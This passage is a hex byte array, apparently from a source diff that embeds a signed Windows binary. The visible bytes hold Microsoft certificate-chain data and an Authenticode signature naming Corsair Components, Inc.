0x9B, 0x07, 0x07, 0x42, 0xA2, 0x20, 0xF8, 0x3B, 0x6C, + 0x9D, 0x5E, 0x25, 0x89, 0xCF, 0x2E, 0x7A, 0x1F, 0x7B, 0x59, 0xCF, 0xC8, + 0x1C, 0xDA, 0x32, 0x32, 0xFC, 0x2F, 0xA4, 0x48, 0xD7, 0x36, 0xDB, 0x54, + 0x6D, 0xC4, 0xB2, 0x74, 0xCA, 0xD3, 0xDA, 0x83, 0x43, 0x3D, 0xEA, 0xA3, + 0xEB, 0x99, 0x19, 0xB2, 0x3A, 0xD0, 0x8D, 0xC4, 0x05, 0x5A, 0x80, 0x26, + 0x71, 0x1A, 0xDC, 0xFC, 0xCD, 0xB4, 0x7D, 0x7A, 0x7C, 0x1A, 0xDB, 0x26, + 0x71, 0xEC, 0xC7, 0x19, 0x8A, 0x78, 0x69, 0x73, 0x80, 0x76, 0x99, 0xA0, + 0xEE, 0x23, 0x6A, 0x46, 0x77, 0x1F, 0x88, 0x91, 0x3B, 0x76, 0x96, 0x93, + 0xB0, 0xB8, 0xCE, 0x9B, 0x00, 0x2A, 0x40, 0xC2, 0xAA, 0x42, 0x6E, 0xDF, + 0xD9, 0xA9, 0x83, 0x68, 0xF8, 0x98, 0x17, 0xB0, 0xD1, 0x74, 0x45, 0x8A, + 0x39, 0x0E, 0x11, 0x62, 0x8E, 0x21, 0xF7, 0x7E, 0x75, 0x14, 0x31, 0xFA, + 0xE1, 0x38, 0x31, 0x22, 0x8E, 0x0E, 0x35, 0x76, 0x10, 0xA2, 0x4D, 0x89, + 0x80, 0x6D, 0x85, 0x39, 0x0E, 0x9B, 0x38, 0x31, 0x79, 0x2F, 0x62, 0x68, + 0x8B, 0xF0, 0x4F, 0x91, 0xEE, 0x9A, 0x85, 0x4B, 0x25, 0x24, 0x52, 0xDE, + 0x7E, 0x75, 0x2F, 0x39, 0xE5, 0x77, 0x65, 0xA0, 0x9A, 0x4F, 0xF4, 0x1A, + 0xE9, 0x61, 0x44, 0x59, 0x3A, 0x8A, 0x99, 0x68, 0x8C, 0x6C, 0x9A, 0xD6, + 0xB9, 0xFC, 0xAB, 0xA1, 0x18, 0x9E, 0xF2, 0x37, 0x2B, 0x99, 0xE9, 0x6D, + 0xB3, 0xFE, 0x64, 0x02, 0xB0, 0xE1, 0x25, 0xB1, 0x7F, 0x36, 0xC6, 0xF7, + 0x0F, 0xC1, 0xEB, 0x83, 0x25, 0x7C, 0xE6, 0x39, 0xB6, 0xC6, 0x91, 0xA9, + 0xEC, 0x03, 0x1D, 0xDD, 0xB9, 0xFA, 0x65, 0x36, 0xBB, 0x8E, 0x60, 0x80, + 0xC9, 0xDB, 0x97, 0x65, 0x33, 0xF4, 0xDD, 0xFB, 0x73, 0x30, 0x9B, 0x64, + 0x98, 0x54, 0x3C, 0xC9, 0x4D, 0x32, 0x83, 0xD4, 0x36, 0x68, 0xD6, 0x14, + 0xDD, 0x60, 0xA4, 0xFE, 0x70, 0x7E, 0xB3, 0xB8, 0x71, 0xDA, 0x32, 0x04, + 0xC5, 0x34, 0xC8, 0xCC, 0x73, 0xCB, 0xC6, 0x6A, 0xEB, 0x36, 0xCE, 0xFD, + 0x76, 0x54, 0x39, 0xEE, 0xF6, 0x8D, 0x7E, 0xE9, 0xC5, 0x15, 0xEB, 0x61, + 0x7F, 0x05, 0x1A, 0x72, 0x09, 0x7D, 0x0A, 0x25, 0x00, 0x3D, 0xF2, 0xDC, + 0xEC, 0xCC, 0x9A, 0x0C, 0x4B, 0xE1, 0xFD, 0x27, 0xE4, 0x73, 0x95, 0x5C, + 0xC8, 0x3E, 0xE9, 0xDB, 0xA6, 0x26, 0x74, 0x8B, 0x1C, 0xB7, 0x23, 0xC3, + 0xB1, 0xC8, 0xB8, 0xEB, 0xC5, 0x93, 0x21, 0xA0, 0xF5, 0x30, 0x82, 0x07, + 0x50, 0x30, 0x82, 0x05, 0x38, 0xA0, 0x03, 0x02, 0x01, 0x02, 0x02, 0x13, + 0x33, 0x00, 0x00, 0x00, 0x0D, 0x69, 0x0D, 0x5D, 0x78, 0x93, 0xD0, 0x76, + 0xDF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0D, 0x30, 0x0D, 0x06, 0x09, 0x2A, + 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x0B, 0x05, 0x00, 0x30, 0x81, + 0x88, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, + 0x55, 0x53, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55, 0x04, 0x08, 0x13, + 0x0A, 0x57, 0x61, 0x73, 0x68, 0x69, 0x6E, 0x67, 0x74, 0x6F, 0x6E, 0x31, + 0x10, 0x30, 0x0E, 0x06, 0x03, 0x55, 0x04, 0x07, 0x13, 0x07, 0x52, 0x65, + 0x64, 0x6D, 0x6F, 0x6E, 0x64, 0x31, 0x1E, 0x30, 0x1C, 0x06, 0x03, 0x55, + 0x04, 0x0A, 0x13, 0x15, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, + 0x74, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, + 0x6E, 0x31, 0x32, 0x30, 0x30, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x29, + 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x52, 0x6F, + 0x6F, 0x74, 0x20, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, 0x63, 0x61, + 0x74, 0x65, 0x20, 0x41, 0x75, 0x74, 0x68, 0x6F, 0x72, 0x69, 0x74, 0x79, + 0x20, 0x32, 0x30, 0x31, 0x30, 0x30, 0x1E, 0x17, 0x0D, 0x31, 0x34, 0x31, + 0x30, 0x31, 0x35, 0x32, 0x30, 0x33, 0x31, 0x32, 0x37, 0x5A, 0x17, 0x0D, + 0x32, 0x39, 0x31, 0x30, 0x31, 0x35, 0x32, 0x30, 0x34, 0x31, 0x32, 0x37, + 0x5A, 0x30, 0x81, 0x8E, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, + 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55, + 0x04, 0x08, 0x13, 0x0A, 0x57, 0x61, 0x73, 0x68, 0x69, 0x6E, 0x67, 0x74, + 0x6F, 0x6E, 0x31, 0x10, 0x30, 0x0E, 0x06, 0x03, 0x55, 0x04, 0x07, 0x13, + 0x07, 0x52, 0x65, 0x64, 0x6D, 0x6F, 0x6E, 0x64, 0x31, 0x1E, 0x30, 0x1C, + 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x15, 0x4D, 0x69, 0x63, 0x72, 0x6F, + 0x73, 0x6F, 0x66, 0x74, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, 0x61, + 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x38, 0x30, 0x36, 0x06, 0x03, 0x55, 0x04, + 0x03, 0x13, 0x2F, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, + 0x20, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x20, 0x54, 0x68, 0x69, + 0x72, 0x64, 0x20, 0x50, 0x61, 0x72, 0x74, 0x79, 0x20, 0x43, 0x6F, 0x6D, + 0x70, 0x6F, 0x6E, 0x65, 0x6E, 0x74, 0x20, 0x43, 0x41, 0x20, 0x32, 0x30, + 0x31, 0x34, 0x30, 0x82, 0x02, 0x22, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, + 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x82, 0x02, + 0x0F, 0x00, 0x30, 0x82, 0x02, 0x0A, 0x02, 0x82, 0x02, 0x01, 0x00, 0xCB, + 0x5F, 0x1E, 0xAB, 0x51, 0xF4, 0xD3, 0x7D, 0x61, 0x2D, 0xD2, 0x19, 0x9A, + 0xBD, 0x25, 0xFD, 0x97, 0x5C, 0x75, 0xCD, 0xCC, 0x23, 0xB0, 0x99, 0x55, + 0xF2, 0xB9, 0x80, 0x03, 0x36, 0x6A, 0x6F, 0x80, 0xC6, 0x0C, 0xB5, 0xBA, + 0x3C, 0x27, 0x45, 0x04, 0x06, 0x15, 0x6B, 0xAD, 0x0E, 0xDE, 0x7E, 0x47, + 0xAE, 0x38, 0x03, 0x73, 0x6B, 0x3D, 0x28, 0x13, 0x0D, 0x24, 0x2C, 0x2F, + 0x39, 0x18, 0x48, 0xA7, 0x46, 0x5E, 0x08, 0xA9, 0xC4, 0x53, 0x60, 0xC9, + 0x8C, 0x30, 0xA3, 0xC6, 0x7D, 0x63, 0x21, 0x46, 0xE0, 0x08, 0x93, 0x2F, + 0xB8, 0x95, 0x97, 0x6F, 0x29, 0xFF, 0x79, 0xD8, 0x8E, 0x97, 0x39, 0xC8, + 0x33, 0xA3, 0x57, 0x1E, 0x30, 0x72, 0x14, 0xEE, 0xB7, 0x7A, 0x7F, 0xFF, + 0x59, 0xDB, 0x35, 0xD0, 0x75, 0xE9, 0xC9, 0xB2, 0x72, 0x9D, 0x56, 0xC1, + 0xCB, 0xB7, 0x2C, 0xB7, 0xC7, 0x9B, 0x1E, 0x2F, 0x6B, 0x9D, 0xE0, 0x49, + 0x3A, 0x1B, 0xF4, 0x39, 0xD3, 0xBD, 0xA8, 0x0B, 0xA7, 0x69, 0x99, 0x5B, + 0x13, 0x1C, 0x4E, 0x67, 0x09, 0x37, 0xAE, 0xA0, 0xA8, 0x26, 0x65, 0x5A, + 0xBA, 0x7F, 0xAD, 0xBB, 0x49, 0xCA, 0x89, 0x06, 0x67, 0x22, 0xC5, 0xE8, + 0x92, 0x1B, 0x19, 0x8F, 0x02, 0x71, 0x1F, 0x5B, 0xC1, 0x74, 0x24, 0x06, + 0xAC, 0xE8, 0x7A, 0x28, 0xA9, 0x68, 0x83, 0xA4, 0x42, 0xBC, 0x2F, 0x24, + 0x7E, 0x81, 0xF1, 0x7F, 0x27, 0x64, 0x8F, 0x70, 0x67, 0x68, 0xC3, 0x72, + 0xFB, 0x69, 0xD7, 0xE5, 0xF0, 0x0E, 0x2C, 0x22, 0x33, 0xE4, 0x1B, 0xC7, + 0x1B, 0xD7, 0x25, 0x4D, 0x2F, 0xFC, 0x76, 0xFB, 0x31, 0x7C, 0xF2, 0x98, + 0x9F, 0x8E, 0x1F, 0x6A, 0x99, 0x60, 0xAB, 0xBF, 0xF1, 0x32, 0x0F, 0xCA, + 0xFD, 0x33, 0x48, 0x9D, 0x59, 0x5C, 0x58, 0xAD, 0xE2, 0x3D, 0x29, 0x78, + 0x28, 0x30, 0x74, 0xC8, 0x35, 0x4E, 0xF2, 0xEF, 0x96, 0x18, 0x5A, 0xDB, + 0x60, 0xA8, 0xBE, 0xE7, 0xFD, 0x9A, 0xAC, 0xF9, 0xC0, 0x3D, 0xE3, 0x7D, + 0x4E, 0x4A, 0xCF, 0x0B, 0x65, 0xDF, 0x21, 0xA4, 0x71, 0xE4, 0x22, 0x22, + 0x83, 0xF2, 0x53, 0x60, 0x52, 0x8E, 0x51, 0x81, 0x3A, 0x35, 0xA0, 0xEA, + 0xE9, 0xFC, 0xC1, 0x75, 0xE0, 0x85, 0xC2, 0x06, 0x43, 0x2C, 0x93, 0x0E, + 0xD3, 0xB7, 0x62, 0xAF, 0x52, 0x27, 0x35, 0x73, 0x3F, 0xDB, 0x11, 0xA4, + 0x49, 0xF9, 0xBB, 0xE3, 0xDF, 0x3F, 0x95, 0xD9, 0xF9, 0xD4, 0x93, 0xE8, + 0x70, 0xD9, 0xAC, 0x5B, 0x08, 0x0C, 0x49, 0x31, 0x73, 0x5F, 0xC6, 0x53, + 0x2C, 0x9B, 0x09, 0x75, 0x48, 0x44, 0x33, 0x49, 0x99, 0x77, 0x30, 0x22, + 0x11, 0x81, 0xD4, 0x10, 0x56, 0x56, 0x2E, 0x24, 0xDC, 0x8C, 0xC4, 0x9B, + 0xB4, 0x15, 0xA3, 0x61, 0x8A, 0xD8, 0xC4, 0xEF, 0xE5, 0xCD, 0x44, 0xFB, + 0xAD, 0x74, 0xE8, 0x03, 0xA2, 0x6D, 0x69, 0xC0, 0x93, 0xA7, 0x76, 0xBF, + 0x16, 0xD9, 0x79, 0x51, 0xB2, 0xA8, 0x10, 0x90, 0x01, 0xDC, 0x87, 0x36, + 0x3E, 0x51, 0xAB, 0x71, 0xD9, 0xD1, 0x4E, 0x95, 0x8E, 0xE6, 0xD8, 0x5B, + 0xF3, 0xA9, 0x35, 0x70, 0x87, 0x09, 0x3B, 0x8C, 0x55, 0xF0, 0xD5, 0x73, + 0x35, 0x71, 0x14, 0xFE, 0x6B, 0x0E, 0x56, 0x15, 0xB3, 0x6B, 0x34, 0xBF, + 0x74, 0x05, 0xEE, 0xA0, 0x3B, 0x6D, 0xF8, 0x6E, 0x31, 0x12, 0xE2, 0x47, + 0xF4, 0x4B, 0xE7, 0xB7, 0x49, 0x0D, 0xEB, 0x65, 0xCB, 0xA1, 0x23, 0x84, + 0xA4, 0x7B, 0x5B, 0xF1, 0xE2, 0xFD, 0x64, 0x69, 0xCE, 0xB3, 0x1F, 0x1B, + 0x5B, 0x9F, 0x68, 0xF0, 0x75, 0x22, 0x78, 0x6F, 0xA8, 0x39, 0xCB, 0xF0, + 0xFE, 0xE4, 0xA6, 0x67, 0xB9, 0x0B, 0x46, 0x71, 0xFE, 0x7A, 0x7E, 0x75, + 0x13, 0x3E, 0x57, 0xE1, 0x56, 0x50, 0x9D, 0x02, 0x03, 0x01, 0x00, 0x01, + 0xA3, 0x82, 0x01, 0xA9, 0x30, 0x82, 0x01, 0xA5, 0x30, 0x10, 0x06, 0x09, + 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x15, 0x01, 0x04, 0x03, 0x02, + 0x01, 0x00, 0x30, 0x1D, 0x06, 0x03, 0x55, 0x1D, 0x0E, 0x04, 0x16, 0x04, + 0x14, 0xC8, 0x3A, 0x9C, 0xA7, 0x4A, 0xC3, 0x23, 0xF2, 0x25, 0x7E, 0xB9, + 0xDA, 0xAB, 0x29, 0x53, 0x0E, 0x54, 0x00, 0xC3, 0xA1, 0x30, 0x64, 0x06, + 0x03, 0x55, 0x1D, 0x20, 0x04, 0x5D, 0x30, 0x5B, 0x30, 0x06, 0x06, 0x04, + 0x55, 0x1D, 0x20, 0x00, 0x30, 0x51, 0x06, 0x0C, 0x2B, 0x06, 0x01, 0x04, + 0x01, 0x82, 0x37, 0x4C, 0x83, 0x7D, 0x01, 0x01, 0x30, 0x41, 0x30, 0x3F, + 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x02, 0x01, 0x16, 0x33, + 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x77, 0x77, 0x77, 0x2E, 0x6D, + 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x2E, 0x63, 0x6F, 0x6D, + 0x2F, 0x70, 0x6B, 0x69, 0x6F, 0x70, 0x73, 0x2F, 0x44, 0x6F, 0x63, 0x73, + 0x2F, 0x52, 0x65, 0x70, 0x6F, 0x73, 0x69, 0x74, 0x6F, 0x72, 0x79, 0x2E, + 0x68, 0x74, 0x6D, 0x30, 0x19, 0x06, 0x09, 0x2B, 0x06, 0x01, 0x04, 0x01, + 0x82, 0x37, 0x14, 0x02, 0x04, 0x0C, 0x1E, 0x0A, 0x00, 0x53, 0x00, 0x75, + 0x00, 0x62, 0x00, 0x43, 0x00, 0x41, 0x30, 0x0B, 0x06, 0x03, 0x55, 0x1D, + 0x0F, 0x04, 0x04, 0x03, 0x02, 0x01, 0x86, 0x30, 0x0F, 0x06, 0x03, 0x55, + 0x1D, 0x13, 0x01, 0x01, 0xFF, 0x04, 0x05, 0x30, 0x03, 0x01, 0x01, 0xFF, + 0x30, 0x1F, 0x06, 0x03, 0x55, 0x1D, 0x23, 0x04, 0x18, 0x30, 0x16, 0x80, + 0x14, 0xD5, 0xF6, 0x56, 0xCB, 0x8F, 0xE8, 0xA2, 0x5C, 0x62, 0x68, 0xD1, + 0x3D, 0x94, 0x90, 0x5B, 0xD7, 0xCE, 0x9A, 0x18, 0xC4, 0x30, 0x56, 0x06, + 0x03, 0x55, 0x1D, 0x1F, 0x04, 0x4F, 0x30, 0x4D, 0x30, 0x4B, 0xA0, 0x49, + 0xA0, 0x47, 0x86, 0x45, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x63, + 0x72, 0x6C, 0x2E, 0x6D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, + 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x70, 0x6B, 0x69, 0x2F, 0x63, 0x72, 0x6C, + 0x2F, 0x70, 0x72, 0x6F, 0x64, 0x75, 0x63, 0x74, 0x73, 0x2F, 0x4D, 0x69, + 0x63, 0x52, 0x6F, 0x6F, 0x43, 0x65, 0x72, 0x41, 0x75, 0x74, 0x5F, 0x32, + 0x30, 0x31, 0x30, 0x2D, 0x30, 0x36, 0x2D, 0x32, 0x33, 0x2E, 0x63, 0x72, + 0x6C, 0x30, 0x5A, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x01, + 0x01, 0x04, 0x4E, 0x30, 0x4C, 0x30, 0x4A, 0x06, 0x08, 0x2B, 0x06, 0x01, + 0x05, 0x05, 0x07, 0x30, 0x02, 0x86, 0x3E, 0x68, 0x74, 0x74, 0x70, 0x3A, + 0x2F, 0x2F, 0x77, 0x77, 0x77, 0x2E, 0x6D, 0x69, 0x63, 0x72, 0x6F, 0x73, + 0x6F, 0x66, 0x74, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x70, 0x6B, 0x69, 0x2F, + 0x63, 0x65, 0x72, 0x74, 0x73, 0x2F, 0x4D, 0x69, 0x63, 0x52, 0x6F, 0x6F, + 0x43, 0x65, 0x72, 0x41, 0x75, 0x74, 0x5F, 0x32, 0x30, 0x31, 0x30, 0x2D, + 0x30, 0x36, 0x2D, 0x32, 0x33, 0x2E, 0x63, 0x72, 0x74, 0x30, 0x0D, 0x06, + 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x0B, 0x05, 0x00, + 0x03, 0x82, 0x02, 0x01, 0x00, 0x96, 0xB5, 0xC3, 0x3B, 0x31, 0xF2, 0x7B, + 0x6B, 0xA1, 0x1F, 0x59, 0xDD, 0x74, 0x2C, 0x37, 0x64, 0xB1, 0xBC, 0xA0, + 0x93, 0xF9, 0xF3, 0x33, 0x47, 0xE9, 0xF9, 0x5D, 0xF2, 0x1D, 0x89, 0xF4, + 0x57, 0x9E, 0xE3, 0x3F, 0x10, 0xA3, 0x59, 0x50, 0x18, 0x05, 0x3B, 0x14, + 0x29, 0x41, 0xB6, 0xA7, 0x0E, 0x5B, 0x81, 0xA2, 0xCC, 0xBD, 0x84, 0x42, + 0xC1, 0xC4, 0xBE, 0xD1, 0x84, 0xC2, 0xC4, 0xBD, 0x0C, 0x8C, 0x47, 0xBC, + 0xBD, 0x88, 0x86, 0xFB, 0x5A, 0x08, 0x96, 0xAE, 0x2C, 0x2F, 0xDF, 0xBF, + 0x93, 0x66, 0xA3, 0x2B, 0x20, 0xCA, 0x84, 0x8A, 0x69, 0x45, 0x27, 0x3F, + 0x73, 0x23, 0x32, 0x93, 0x6A, 0x23, 0xE9, 0xFF, 0xFD, 0xD9, 0x18, 0xED, + 0xCE, 0xFF, 0xBD, 0x6B, 0x41, 0x73, 0x8D, 0x57, 0x9C, 0xF8, 0xB4, 0x6D, + 0x49, 0x98, 0x05, 0xE6, 0xA3, 0x35, 0xA9, 0xF0, 0x7E, 0x6E, 0x86, 0xC0, + 0x6B, 0xA8, 0x08, 0x67, 0x25, 0xAF, 0xC0, 0x99, 0x8C, 0xDB, 0xA7, 0x06, + 0x4D, 0x40, 0x93, 0x18, 0x8B, 0xA9, 0x59, 0xE6, 0x99, 0x14, 0xB9, 0x12, + 0x17, 0x81, 0x44, 0xAC, 0x57, 0xC3, 0xAE, 0x8E, 0xAE, 0x94, 0x7B, 0xCB, + 0x3B, 0x8E, 0xDD, 0x7A, 0xB4, 0x71, 0x5B, 0xBA, 0x2B, 0xC3, 0xC7, 0xD0, + 0x85, 0x23, 0x4B, 0x37, 0x12, 0x77, 0xA5, 0x4A, 0x2F, 0x7F, 0x1A, 0xB7, + 0x63, 0xB9, 0x44, 0x59, 0xED, 0x92, 0x30, 0xCC, 0xE4, 0x7C, 0x09, 0x92, + 0x12, 0x11, 0x1F, 0x52, 0xF5, 0x1E, 0x02, 0x91, 0xA4, 0xD7, 0xD7, 0xE5, + 0x8F, 0x80, 0x47, 0xFF, 0x18, 0x9B, 0x7F, 0xD1, 0x9C, 0x06, 0x71, 0xDC, + 0xF3, 0x76, 0x19, 0x77, 0x90, 0xD5, 0x2A, 0x0F, 0xBC, 0x6C, 0x12, 0xC4, + 0xC5, 0x0C, 0x20, 0x66, 0xF5, 0x0E, 0x2F, 0x50, 0x93, 0xD8, 0xCA, 0xFB, + 0x7F, 0xE5, 0x56, 0xED, 0x09, 0xD8, 0xA7, 0x53, 0xB1, 0xC7, 0x2A, 0x69, + 0x78, 0xDC, 0xF0, 0x5F, 0xE7, 0x4B, 0x20, 0xB6, 0xAF, 0x63, 0xB5, 0xE1, + 0xB1, 0x5C, 0x80, 0x4E, 0x9C, 0x7A, 0xA9, 0x1D, 0x4D, 0xF7, 0x28, 0x46, + 0x78, 0x21, 0x06, 0x95, 0x4D, 0x32, 0xDD, 0x60, 0x42, 0xE4, 0xB6, 0x1A, + 0xC4, 0xF2, 0x46, 0x36, 0xDE, 0x35, 0x73, 0x02, 0xC1, 0xB5, 0xE5, 0x5F, + 0xB9, 0x2B, 0x59, 0x45, 0x7A, 0x92, 0x43, 0xD7, 0xC4, 0xE9, 0x63, 0xDD, + 0x36, 0x8F, 0x76, 0xC7, 0x28, 0xCA, 0xA8, 0x44, 0x1B, 0xE8, 0x32, 0x1A, + 0x66, 0xCD, 0xE5, 0x48, 0x5C, 0x4A, 0x0A, 0x60, 0x2B, 0x46, 0x92, 0x06, + 0x60, 0x96, 0x98, 0xDC, 0xD9, 0x33, 0xD7, 0x21, 0x77, 0x7F, 0x88, 0x6D, + 0xAC, 0x47, 0x72, 0xDA, 0xA2, 0x46, 0x6E, 0xAB, 0x64, 0x68, 0x2B, 0xD2, + 0x4E, 0x98, 0xFB, 0x35, 0xCC, 0x7F, 0xEC, 0x3F, 0x13, 0x6D, 0x11, 0xE5, + 0xDB, 0x77, 0xED, 0xC1, 0xC3, 0x7E, 0x1F, 0x6A, 0x4A, 0x14, 0xF8, 0xB4, + 0xA7, 0x21, 0xC6, 0x71, 0x86, 0x67, 0x70, 0xCD, 0xD8, 0x19, 0xA3, 0x5D, + 0x1F, 0xA0, 0x9B, 0x9A, 0x7C, 0xC5, 0x5D, 0x4D, 0x72, 0x8E, 0x74, 0x07, + 0x7F, 0xA7, 0x4D, 0x00, 0xFC, 0xDD, 0x68, 0x24, 0x12, 0x77, 0x2A, 0x55, + 0x75, 0x27, 0xCD, 0xA9, 0x2C, 0x1D, 0x8E, 0x7C, 0x19, 0xEE, 0x69, 0x2C, + 0x9F, 0x74, 0x25, 0x33, 0x82, 0x08, 0xDB, 0x38, 0xCC, 0x7C, 0xC7, 0x4F, + 0x6C, 0x3A, 0x6B, 0xC2, 0x37, 0x11, 0x78, 0x72, 0xFE, 0x55, 0x59, 0x64, + 0x60, 0x33, 0x3E, 0x2E, 0xDF, 0xC4, 0x2D, 0xE7, 0x2C, 0xD7, 0xFB, 0x0A, + 0x82, 0x25, 0x6F, 0xB8, 0xD7, 0x0C, 0x84, 0xA5, 0xE1, 0xC4, 0x74, 0x6E, + 0x2A, 0x95, 0x32, 0x9E, 0xA0, 0xFE, 0xCD, 0xB4, 0x18, 0x8F, 0xD3, 0x3B, + 0xAD, 0x32, 0xB2, 0xB1, 0x9A, 0xB8, 0x6D, 0x05, 0x43, 0xFB, 0xFF, 0x0D, + 0x0F, 0x31, 0x82, 0x16, 0x6B, 0x30, 0x82, 0x16, 0x67, 0x02, 0x01, 0x01, + 0x30, 0x81, 0xA6, 0x30, 0x81, 0x8E, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, + 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x13, 0x30, 0x11, 0x06, + 0x03, 0x55, 0x04, 0x08, 0x13, 0x0A, 0x57, 0x61, 0x73, 0x68, 0x69, 0x6E, + 0x67, 0x74, 0x6F, 0x6E, 0x31, 0x10, 0x30, 0x0E, 0x06, 0x03, 0x55, 0x04, + 0x07, 0x13, 0x07, 0x52, 0x65, 0x64, 0x6D, 0x6F, 0x6E, 0x64, 0x31, 0x1E, + 0x30, 0x1C, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x15, 0x4D, 0x69, 0x63, + 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, + 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x38, 0x30, 0x36, 0x06, 0x03, + 0x55, 0x04, 0x03, 0x13, 0x2F, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, + 0x66, 0x74, 0x20, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x20, 0x54, + 0x68, 0x69, 0x72, 0x64, 0x20, 0x50, 0x61, 0x72, 0x74, 0x79, 0x20, 0x43, + 0x6F, 0x6D, 0x70, 0x6F, 0x6E, 0x65, 0x6E, 0x74, 0x20, 0x43, 0x41, 0x20, + 0x32, 0x30, 0x31, 0x34, 0x02, 0x13, 0x33, 0x00, 0x00, 0x00, 0x31, 0x94, + 0x79, 0xA3, 0x18, 0xF5, 0x52, 0x2D, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x31, 0x30, 0x0D, 0x06, 0x09, 0x60, 0x86, 0x48, 0x01, 0x65, 0x03, 0x04, + 0x02, 0x01, 0x05, 0x00, 0xA0, 0x81, 0xDC, 0x30, 0x19, 0x06, 0x09, 0x2A, + 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x03, 0x31, 0x0C, 0x06, 0x0A, + 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x04, 0x30, 0x1C, + 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x0B, + 0x31, 0x0E, 0x30, 0x0C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, + 0x37, 0x02, 0x01, 0x15, 0x30, 0x2F, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, + 0xF7, 0x0D, 0x01, 0x09, 0x04, 0x31, 0x22, 0x04, 0x20, 0xBF, 0x15, 0x65, + 0xBB, 0x8C, 0x54, 0x24, 0xB5, 0x63, 0xD5, 0x97, 0x57, 0x26, 0xD3, 0x35, + 0xA2, 0x17, 0x93, 0xFE, 0xCF, 0x4B, 0x0C, 0x02, 0x1C, 0x36, 0x7C, 0x2E, + 0xE5, 0xA3, 0x79, 0x5A, 0x83, 0x30, 0x70, 0x06, 0x0A, 0x2B, 0x06, 0x01, + 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x0C, 0x31, 0x62, 0x30, 0x60, 0xA0, + 0x32, 0x80, 0x30, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x73, 0x00, + 0x61, 0x00, 0x69, 0x00, 0x72, 0x00, 0x20, 0x00, 0x43, 0x00, 0x6F, 0x00, + 0x6D, 0x00, 0x70, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x6E, 0x00, + 0x74, 0x00, 0x73, 0x00, 0x2C, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, + 0x63, 0x00, 0x2E, 0xA1, 0x2A, 0x80, 0x28, 0x68, 0x74, 0x74, 0x70, 0x73, + 0x3A, 0x2F, 0x2F, 0x77, 0x77, 0x77, 0x2E, 0x6D, 0x69, 0x63, 0x72, 0x6F, + 0x73, 0x6F, 0x66, 0x74, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x65, 0x6E, 0x2D, + 0x75, 0x73, 0x2F, 0x77, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x20, 0x30, + 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, + 0x05, 0x00, 0x04, 0x82, 0x01, 0x00, 0xA9, 0x9C, 0x65, 0x1B, 0x24, 0xBA, + 0x66, 0xD6, 0x64, 0x9F, 0x5D, 0xF4, 0xB0, 0x0B, 0x48, 0x12, 0x21, 0x67, + 0xE5, 0xE8, 0x22, 0x70, 0x62, 0x99, 0xB9, 0xD0, 0x22, 0x63, 0xD6, 0x0C, + 0xC1, 0xA5, 0xF1, 0xCC, 0x3B, 0x42, 0x68, 0xB3, 0x7F, 0x54, 0x50, 0x08, + 0x1D, 0x03, 0x31, 0xCE, 0x70, 0x44, 0xF9, 0x94, 0xA6, 0xCE, 0xAA, 0x7C, + 0xDB, 0x3E, 0x78, 0x01, 0xA4, 0x43, 0xA1, 0x5A, 0xA8, 